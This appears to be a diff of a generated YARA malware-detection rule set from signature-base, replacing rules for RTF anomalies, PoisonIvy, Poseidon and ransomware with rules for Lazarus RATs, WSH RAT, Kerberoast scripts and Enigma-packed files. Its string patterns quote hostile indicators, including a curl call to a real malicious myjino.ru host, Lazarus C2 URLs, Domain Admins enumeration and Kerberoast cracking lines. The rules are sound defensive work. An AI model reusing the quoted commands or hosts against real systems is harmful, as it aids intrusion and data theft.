-		uint16(0)==0x5a4d and $s1 and 1 of ($v*) and not 1 of ($fp*) and filesize !=524288 and filesize !=495616 and filesize !=483328 and filesize !=524288 and filesize !=712176 and filesize !=828400 and filesize !=569328 and filesize !=454656 and filesize !=531368 and filesize !=524288 and filesize !=483328 and filesize !=713592 and filesize !=829304 and filesize !=571256 and filesize !=774200 and filesize !=854072 and filesize !=665144 and filesize !=774200 and filesize !=854072 and filesize !=665144 and filesize !=640000 and filesize !=650720 and filesize !=662808 and filesize !=651256 and filesize !=664432
+		uint16(0)==0x5a4d and pe.exports("ServiceMain") and pe.exports("Rundll32Call") and pe.exports("DllEntryPoint") and pe.number_of_exports==3
 }
-rule SIGNATURE_BASE_SUSP_RTF_Header_Anomaly : FILE
+rule SIGNATURE_BASE_MAL_Wshrat_Dotnet_Packer_Feb21 : FILE
 {
 	meta:
-		description = "Detects malformed RTF header often used to trick mechanisms that check for a full RTF header"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fb362640-9a45-5ee5-8749-3980e0549932"
-		date = "2019-01-20"
-		modified = "2022-09-15"
-		reference = "https://twitter.com/ItsReallyNick/status/975705759618158593"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/generic_anomalies.yar#L494-L506"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c0be95894edc861cf322309f2c86a8ab986bb111dfdeea1990b4a074d5ab9ea3"
-		score = 50
+		description = "Yara Rule for WSH rat .NET packer of February 2021 "
+		author = "Yoroi Malware ZLab"
+		id = "62e043fc-7d13-5b91-9fdd-e71d91194da2"
+		date = "2021-03-09"
+		modified = "2023-12-05"
+		reference = "https://yoroi.company/research/threatening-within-budget-how-wsh-rat-is-abused-by-cyber-crooks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_wsh_rat.yar#L1-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "18159b140c314a00111fb9453e60d19c11633628a4fe2ad8299b839165b39424"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
+	strings:
+		$a1 = { BE DD 60 8C 34 49 9A 54 D2 40 }
+		$a2 = { 1D D7 24 22 47 A6 B1 A5 }
+		$a3 = { 13 30 03 00 07 00 00 00 01 }
+		$a4 = { 11 02 03 7D 78 00 00 04 2A }
+		$a5 = { A8 8A F4 C8 61 2B CA 07 }
+		$a6 = { 15 AE 5E AB 5A 20 FE B5 56 B4 61 2B BB 06 2A}
+
 	condition:
-		uint32(0)==0x74725c7b and not uint8(4)==0x66
+		uint16(0)==0x5A4D and 3 of them
 }
-rule SIGNATURE_BASE_SUSP_RANSOMWARE_Indicator_Jul20 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Lazarus_Dropper_Jun18_1 : FILE
 {
 	meta:
-		description = "Detects ransomware indicator"
+		description = "Detects Lazarus Group Dropper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6036fdfd-8474-5d79-ac75-137ac2efdc77"
-		date = "2020-07-28"
+		id = "226be9d4-93c0-5512-9667-3388cd6f20d4"
+		date = "2018-06-01"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_generic.yar#L2-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3dd1b29f45afba16d58619416e0d420acd38fb8ae1fc846035229a27b9e5c9d9"
+		reference = "https://twitter.com/DrunkBinary/status/1002587521073721346"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_jun18.yar#L13-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "868297209177471f29c9653747d3205f55a14b74a5da64562b20ebeadb14b1cf"
 		score = 60
-		quality = 85
+		quality = 65
 		tags = "FILE"
-		hash1 = "52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6"
-		hash2 = "5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473"
-		hash3 = "6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "086a50476f5ceee4b10871c1a8b0a794e96a337966382248a8289598b732bd47"
+		hash2 = "9f2d4fd79d3c68270102c4c11f3e968c10610a2106cbf1298827f8efccdd70a9"
 
 	strings:
-		$ = "Decrypt.txt" ascii wide
-		$ = "DecryptFiles.txt" ascii wide
-		$ = "Decrypt-Files.txt" ascii wide
-		$ = "DecryptFilesHere.txt" ascii wide
-		$ = "DECRYPT.txt" ascii wide
-		$ = "DecryptFiles.txt" ascii wide
-		$ = "DECRYPT-FILES.txt" ascii wide
-		$ = "DecryptFilesHere.txt" ascii wide
-		$ = "DECRYPT_INSTRUCTION.TXT" ascii wide
-		$ = "FILES ENCRYPTED.txt" ascii wide
-		$ = "DECRYPT MY FILES" ascii wide
-		$ = "DECRYPT-MY-FILES" ascii wide
-		$ = "DECRYPT_MY_FILES" ascii wide
-		$ = "DECRYPT YOUR FILES" ascii wide
-		$ = "DECRYPT-YOUR-FILES" ascii wide
-		$ = "DECRYPT_YOUR_FILES" ascii wide
-		$ = "DECRYPT FILES.txt" ascii wide
+		$s1 = /%s\\windows10-kb[0-9]{7}.exe/ fullword ascii
+		$s2 = "EYEJIW" fullword ascii
+		$s3 = "update" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1400KB and 1 of them
+		uint16(0)==0x5a4d and filesize <21000KB and (pe.imphash()=="fcac768eff9896d667a7c706d70712ce" or all of them )
 }
-rule SIGNATURE_BASE_Poisonivy_Generic_3 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Lazarus_RAT_Jun18_1 : FILE
 {
 	meta:
-		description = "PoisonIvy RAT Generic Rule"
+		description = "Detects Lazarus Group RAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0f6a47ee-b741-59cc-b2d6-6bf3989ce8e7"
-		date = "2015-05-14"
+		id = "fd394d15-70c5-543a-a845-2058f296b5f8"
+		date = "2018-06-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poisonivy_gen3.yar#L2-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd"
-		logic_hash = "8116b07c00218a0e9784447f322455ff24ae754770b85db760b1c397e10e5695"
+		reference = "https://twitter.com/DrunkBinary/status/1002587521073721346"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_jun18.yar#L34-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7260f766ffd1122319ca69a6c87b0baa98d5727929f2e063a5b2edb05a44d827"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c10363059c57c52501c01f85e3bb43533ccc639f0ea57f43bae5736a8e7a9bc8"
+		hash2 = "e98991cdd9ddd30adf490673c67a4f8241993f26810da09b52d8748c6160a292"
 
 	strings:
-		$k1 = "Tiger324{" fullword ascii
-		$s2 = "WININET.dll" fullword ascii
-		$s3 = "mscoree.dll" fullword wide
-		$s4 = "WS2_32.dll" fullword
-		$s5 = "Explorer.exe" fullword wide
-		$s6 = "USER32.DLL"
-		$s7 = "CONOUT$"
-		$s8 = "login.asp"
-		$h1 = "HTTP/1.0"
-		$h2 = "POST"
-		$h3 = "login.asp"
-		$h4 = "check.asp"
-		$h5 = "result.asp"
-		$h6 = "upload.asp"
+		$a1 = "www.marmarademo.com/include/extend.php" fullword ascii
+		$a2 = "www.33cow.com/include/control.php" fullword ascii
+		$a3 = "www.97nb.net/include/arc.sglistview.php" fullword ascii
+		$c1 = "Content-Disposition: form-data; name=\"file1\"; filename=\"example.dat\"" fullword ascii
+		$c2 = "Content-Disposition: form-data; name=\"file1\"; filename=\"pratice.pdf\"" fullword ascii
+		$c3 = "Content-Disposition: form-data; name=\"file1\"; filename=\"happy.pdf\"" fullword ascii
+		$c4 = "Content-Disposition: form-data; name=\"file1\"; filename=\"my.doc\"" fullword ascii
+		$c5 = "Content-Disposition: form-data; name=\"board_id\"" fullword ascii
+		$s1 = "Winhttp.dll" fullword ascii
+		$s2 = "Wsock32.dll" fullword ascii
+		$s3 = "WM*.tmp" fullword ascii
+		$s4 = "FM*.tmp" fullword ascii
+		$s5 = "Cache-Control: max-age=0" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and ($k1 or all of ($s*) or all of ($h*))
+		uint16(0)==0x5a4d and filesize <500KB and (1 of ($a*) or 2 of ($c*) or 4 of them )
 }
-rule SIGNATURE_BASE_No_Powershell : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Lazarus_RAT_Jun18_2 : FILE
 {
 	meta:
-		description = "Detects an C# executable used to circumvent PowerShell detection - file nps.exe"
+		description = "Detects Lazarus Group RAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "362a61bc-2c10-5076-93be-9f8b5a9ae8ba"
-		date = "2016-05-21"
+		id = "4f2e280e-ed76-5fb9-b137-5191bbea2155"
+		date = "2018-06-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Ben0xA/nps"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_nopowershell.yar#L8-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9fba467cfbf8cad0c8e6cf1e1c7eacd8b0be869ebe6c5180f50f5cdefa8b5bb5"
-		score = 80
+		reference = "https://twitter.com/DrunkBinary/status/1002587521073721346"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_jun18.yar#L68-L83"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b22b8386791e86f787efc40a394bbabdb4a009fc2d1a7b87aaf5039fc977a5bd"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "64f811b99eb4ae038c88c67ee0dc9b150445e68a2eb35ff1a0296533ae2edd71"
+		hash1 = "e6096fb512a6d32a693491f24e67d772f7103805ad407dc37065cebd1962a547"
 
 	strings:
-		$s1 = "nps.exe -encodedcommand {base64_encoded_command}" fullword wide
-		$s2 = "c:\\Development\\ghps\\nps\\nps\\obj\\x86\\Release\\nps.pdb" fullword ascii
+		$s1 = "\\KB\\Release\\" ascii
+		$s3 = "KB, Version 1.0" fullword wide
+		$s4 = "TODO: (c) <Company name>.  All rights reserved." fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <40KB and (1 of ($s*))) or ( all of them )
+		uint16(0)==0x5a4d and filesize <5000KB and 2 of them
 }
-rule SIGNATURE_BASE_MAL_Go_Modbus_Jul24_1 : FILE
+rule SIGNATURE_BASE_Cobaltgang_PDF_Metadata_Rev_A
 {
 	meta:
-		description = "Detects characteristics reported by Dragos for FrostyGoop ICS malware"
-		author = "Florian Roth"
-		id = "4a1e6bbe-d743-5394-b207-e417b64fa76d"
-		date = "2024-07-23"
-		modified = "2024-07-24"
-		reference = "https://hub.dragos.com/hubfs/Reports/Dragos-FrostyGoop-ICS-Malware-Intel-Brief-0724_.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_go_modbus.yar#L2-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d992c8159deca0ed2b2a33da3c31fdf0efa9a09ba941d059fa7fc1bad458aed1"
+		description = "Find documents saved from the same potential Cobalt Gang PDF template"
+		author = "Palo Alto Networks Unit 42"
+		id = "bcf5bf6e-c786-5f78-bf58-e0631a17e62e"
+		date = "2018-10-25"
+		modified = "2023-12-05"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cobalt_gang_pdf.yar#L1-L12"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8020ccff761b49d98e18cd5cb3c0695956a88e86a0958bfba1a19b7e3e629bb9"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "5d2e4fd08f81e3b2eb2f3eaae16eb32ae02e760afc36fa17f4649322f6da53fb"
+		tags = ""
 
 	strings:
-		$a1 = "Go build"
-		$sa1 = "github.com/rolfl/modbus"
-		$sb1 = "main.TaskList.executeCommand"
-		$sb2 = "main.TargetList.getTargetIpList"
-		$sb3 = "main.TaskList.getTaskIpList"
-		$sb4 = "main.CycleInfo" fullword
+		$ = "<xmpMM:DocumentID>uuid:31ac3688-619c-4fd4-8e3f-e59d0354a338" ascii wide
 
 	condition:
-		filesize <30MB and ($sa1 and 3 of ($sb*)) or 4 of them
+		any of them
 }
-rule SIGNATURE_BASE_SUSP_Doc_Windowsinstaller_Call_Feb22_1 : FILE
+rule SIGNATURE_BASE_Getuserspns_VBS
 {
 	meta:
-		description = "Triggers on docfiles executing windows installer. Used for deploying ThinBasic scripts."
-		author = "Nils Kuhnert"
-		id = "8f2e8f91-74e0-5574-9c0a-1479d6114212"
-		date = "2022-02-26"
+		description = "Auto-generated rule - file GetUserSPNs.vbs"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5576c1b9-4670-52c5-b23c-64adcc8709de"
+		date = "2016-05-21"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/threatinsight/status/1497355737844133895"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_maldoc.yar#L1-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "279182487ab7d35264adfbd0d122ee7634cd92ae1711de78ec7f20928df34f49"
-		score = 65
-		quality = 85
-		tags = "FILE"
-		tlp = "white"
+		reference = "https://github.com/skelsec/PyKerberoast"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_kerberoast.yar#L8-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ece81cd717fed6ca1f9053384911fd59462b6f3b01210ceeb037ba3da2f7a318"
+		score = 75
+		quality = 60
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8dcb568d475fd8a0557e70ca88a262b7c06d0f42835c855b52e059c0f5ce9237"
 
 	strings:
-		$ = "WindowsInstaller.Installer$"
-		$ = "CreateObject"
-		$ = "InstallProduct"
+		$s1 = "Wscript.Echo \"User Logon: \" & oRecordset.Fields(\"samAccountName\")" fullword ascii
+		$s2 = "Wscript.Echo \" USAGE:        \" & WScript.ScriptName & \" SpnToFind [GC Servername or Forestname]\"" fullword ascii
+		$s3 = "strADOQuery = \"<\" + strGCPath + \">;(&(!objectClass=computer)(servicePrincipalName=*));\" & _" fullword ascii
 
 	condition:
-		uint32be(0)==0xd0cf11e0 and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Poseidongroup_Malware : FILE
+rule SIGNATURE_BASE_Getuserspns_PS1
 {
 	meta:
-		description = "Detects Poseidon Group Malware"
+		description = "Auto-generated rule - file GetUserSPNs.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fe8b227a-d93d-5540-ba73-3f20358205f6"
-		date = "2016-02-09"
-		modified = "2023-01-27"
-		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poseidon_group.yar#L8-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "315d540f2d2cb7b55e1a069cef8dd2eeceabcea4a428b33cf520a0f23d3819ea"
-		score = 85
+		id = "a2fba75c-264f-5e89-afaf-9d19a4a90784"
+		date = "2016-05-21"
+		modified = "2023-12-05"
+		reference = "https://github.com/skelsec/PyKerberoast"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_kerberoast.yar#L25-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "204b009677a02bf8725f928c2bfff321b4543a883760e312a0c92f187684c8e9"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "337e94119cfad0b3144af81b72ac3b2688a219ffa0bdf23ca56c7a68fbe0aea4"
-		hash2 = "344034c0bf9fcd52883dbc158abf6db687150d40a118d9cd6ebd843e186128d3"
-		hash3 = "432b7f7f7bf94260a58ad720f61d91ba3289bf0a9789fc0c2b7ca900788dae61"
-		hash4 = "8955df76182005a69f19f5421c355f1868efe65d6b9e0145625dceda94b84a47"
-		hash5 = "d090b1d77e91848b1e2f5690b54360bbbd7ef808d017304389b90a0f8423367f"
-		hash6 = "d7c8b47a0d0a9181fb993f17e165d75a6be8cf11812d3baf7cf11d085e21d4fb"
-		hash7 = "ded0ee29af97496f27d810f6c16d78a3031d8c2193d5d2a87355f3e3ca58f9b3"
+		hash1 = "1b69206b8d93ac86fe364178011723f4b1544fff7eb1ea544ab8912c436ddc04"
 
 	strings:
-		$s1 = "c:\\winnt\\system32\\cmd.exe" fullword ascii
-		$s2 = "c:\\windows\\system32\\cmd.exe" fullword ascii
-		$s3 = "c:\\windows\\command.com" fullword ascii
-		$s4 = "copy \"%s\" \"%s\" /Y" fullword ascii
-		$s5 = "http://%s/files/" ascii
-		$s6 = "\"%s\". %s: \"%s\"." fullword ascii
-		$s7 = "0x0666" fullword ascii
-		$s8 = "----------------This_is_a_boundary$" fullword ascii
-		$s9 = "Server 2012" fullword ascii
-		$s10 = "Server 2008" fullword ascii
-		$s11 = "Server 2003" fullword ascii
-		$a1 = "net.exe group \"Domain Admins\" /domain" fullword ascii
-		$a2 = "net.exe group \"Admins. do Dom" fullword ascii
-		$a3 = "(SVRID=%d)" fullword ascii
-		$a4 = "(TG=%d)" fullword ascii
-		$a5 = "(SVR=%s)" fullword ascii
-		$a6 = "Set-Cookie:\\b*{.+?}\\n" fullword wide
-		$a7 = "net.exe localgroup Administradores" fullword ascii
+		$s1 = "$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()" fullword ascii
+		$s2 = "@{Name=\"PasswordLastSet\";      Expression={[datetime]::fromFileTime($result.Properties[\"pwdlastset\"][0])} } #, `" fullword ascii
+		$s3 = "Write-Host \"No Global Catalogs Found!\"" fullword ascii
+		$s4 = "$searcher.PropertiesToLoad.Add(\"pwdlastset\") | Out-Null" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <650KB and 6 of ($s*)) or (4 of ($s*) and 1 of ($a*))
+		2 of them
 }
-rule SIGNATURE_BASE_Poseidongroup_Maldoc_1 : FILE
+rule SIGNATURE_BASE_Kerberoast_PY
 {
 	meta:
-		description = "Detects Poseidon Group - Malicious Word Document"
+		description = "Auto-generated rule - file kerberoast.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ab26455a-d468-5a75-a6e2-61701ca3a1df"
-		date = "2016-02-09"
+		id = "cea6cdb2-cd1a-5701-a9d1-27c788a962a7"
+		date = "2016-05-21"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poseidon_group.yar#L50-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0983526d7f0640e5765ded6be6c9e64869172a02c20023f8a006396ff358999b"
-		logic_hash = "0d8c255f56bb33b6a720c98727127c07a2d77245b18da381706a40339bebd20b"
-		score = 80
+		reference = "https://github.com/skelsec/PyKerberoast"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_kerberoast.yar#L43-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3b285cc55733bd4c499ffb4821a92675806bf66faf3b3565ffb6de867bed538d"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "73155949b4344db2ae511ec8cab85da1ccbf2dfec3607fb9acdc281357cdf380"
 
 	strings:
-		$s1 = "c:\\cmd32dll.exe" fullword ascii
+		$s1 = "newencserverticket = kerberos.encrypt(key, 2, encoder.encode(decserverticket), nonce)" fullword ascii
+		$s2 = "key = kerberos.ntlmhash(args.password)" fullword ascii
+		$s3 = "help='the password used to decrypt/encrypt the ticket')" fullword ascii
+		$s4 = "newencserverticket = kerberos.encrypt(key, 2, e, nonce)" fullword ascii
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <500KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Poseidongroup_Maldoc_2 : FILE
+rule SIGNATURE_BASE_MAL_Github_Repo_Compromise_Myjino_Ru_Aug22
 {
 	meta:
-		description = "Detects Poseidon Group - Malicious Word Document"
+		description = "Detects URL mentioned in report on compromised Github repositories in August 2022"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9fc0f25e-809d-5803-be39-740ce3a3c85a"
-		date = "2016-02-09"
+		id = "1eaabad5-d0de-5d17-a5fa-3c638354843d"
+		date = "2022-08-03"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_poseidon_group.yar#L66-L89"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2c35077a4980336a2c50cade322861dc02f92f7617115420eebe7c882c2f620b"
-		score = 70
+		reference = "https://twitter.com/stephenlacy/status/1554697077430505473"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_repo_compromise_myjino_ru.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5cbe6ee46a68d89b1e772762e29baa907458235cd014f20a0d0932e95c046f19"
+		score = 90
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3e4cacab0ff950da1c6a1c640fe6cf5555b99e36d4e1cf5c45f04a2048f7620c"
-		hash2 = "1f77475d7740eb0c5802746d63e93218f16a7a19f616e8fddcbff07983b851af"
-		hash3 = "f028ee20363d3a17d30175508bbc4738dd8e245a94bfb200219a40464dd09b3a"
-		hash4 = "ec309300c950936a1b9f900aa30630b33723c42240ca4db978f2ca5e0f97afed"
-		hash5 = "27449198542fed64c23f583617908c8648fa4b4633bacd224f97e7f5d8b18778"
-		hash6 = "1e62629dae05bf7ee3fe1346faa60e6791c61f92dd921daa5ce2bdce2e9d4216"
+		tags = ""
 
 	strings:
-		$s0 = "{\\*\\generator Msftedit 5.41." ascii
-		$s1 = "Attachment 1: Complete Professional Background" ascii
-		$s2 = "E-mail:  \\cf1\\ul\\f1"
-		$s3 = "Education:\\par" ascii
-		$s5 = "@gmail.com" ascii
+		$x1 = "curl http://ovz1.j19544519.pr46m.vps.myjino.ru" ascii wide
+		$x2 = "http__.Post(\"http://ovz1.j19544519.pr46m.vps.myjino.ru" ascii wide
 
 	condition:
-		uint32(0)==0x74725c7b and filesize <500KB and 3 of them
+		1 of them
 }
-rule SIGNATURE_BASE_MAL_Fake_Document_Software_Indicators_Nov23 : FILE
+rule SIGNATURE_BASE_Enigmapacker_Rare : FILE
 {
 	meta:
-		description = "Detects indicators of fake document/image utility software that acts as a downloader for additional malware"
-		author = "Jonathan Peters"
-		id = "231474cd-1ec9-5738-bf48-ef707689056d"
-		date = "2023-11-13"
-		modified = "2024-04-24"
-		reference = "https://nochlab.blogspot.com/2023/09/net-in-javascript-fake-pdf-converter.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_fake_document_software.yar#L1-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5f0a088bf672559fbac90313768d41b79be7f1f56c6ddb36f0dcd265a07f98b2"
-		score = 80
+		description = "Detects an ENIGMA packed executable"
+		author = "Florian Roth (Nextron Systems)"
+		id = "748bc74c-e83f-5740-8ff7-f1371fc22802"
+		date = "2017-04-27"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_enigma_protector.yar#L8-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a001b563db1b75581432d42a435683f24e244b6b354f83409b5b9d6d0314d63a"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		hash1 = "ac5356ae011effb9d401bf428c92a48cf82c9b61f4c24a29a9718e3379f90f1d"
-		hash2 = "d1c29c2243c511ca3264ad568a6be62f374e104b903eca93debce6691e1c5007"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "77be6e80a4cfecaf50d94ee35ddc786ba1374f9fe50546f1a3382883cb14cec9"
 
 	strings:
-		$ = "tweakscode.com" wide
-		$ = "www.createmygif.com" wide
-		$ = "www.videownload.com" wide
-		$ = "www.pdfconverterz.com" wide
-		$ = "www.pdfconvertercompare.com" wide
+		$s1 = "P.rel$oc$" fullword ascii
+		$s2 = "ENIGMA" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		( uint16(0)==0x5a4d and filesize <4000KB and all of them )
 }
-rule SIGNATURE_BASE_LOG_EXPL_Adselfservice_CVE_2021_40539_ADSLOG_Sep21 : LOG CVE_2021_40539 FILE
+rule SIGNATURE_BASE_Enigma_Protected_Malware_May17_Rhxfiles : FILE
 {
 	meta:
-		description = "Detects suspicious log lines produeced during the exploitation of ADSelfService vulnerability CVE-2021-40539"
-		author = "Florian Roth (Nextron Systems)"
-		id = "156317c6-e726-506d-8b07-4f74dae2807f"
-		date = "2021-09-20"
+		description = "Auto-generated rule - file RhxFiles.dll"
+		author = "Florian Roth (Nextron Systems) with the help of binar.ly"
+		id = "d701d591-4283-5645-8768-a5ab7df0f37a"
+		date = "2017-05-02"
 		modified = "2023-12-05"
-		reference = "https://us-cert.cisa.gov/ncas/alerts/aa21-259a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_adselfservice_cve_2021_40539.yar#L2-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "49b7857187c15f48e928747266adca44c227964cef72914616ea269b0e88fe73"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_enigma_protector.yar#L25-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
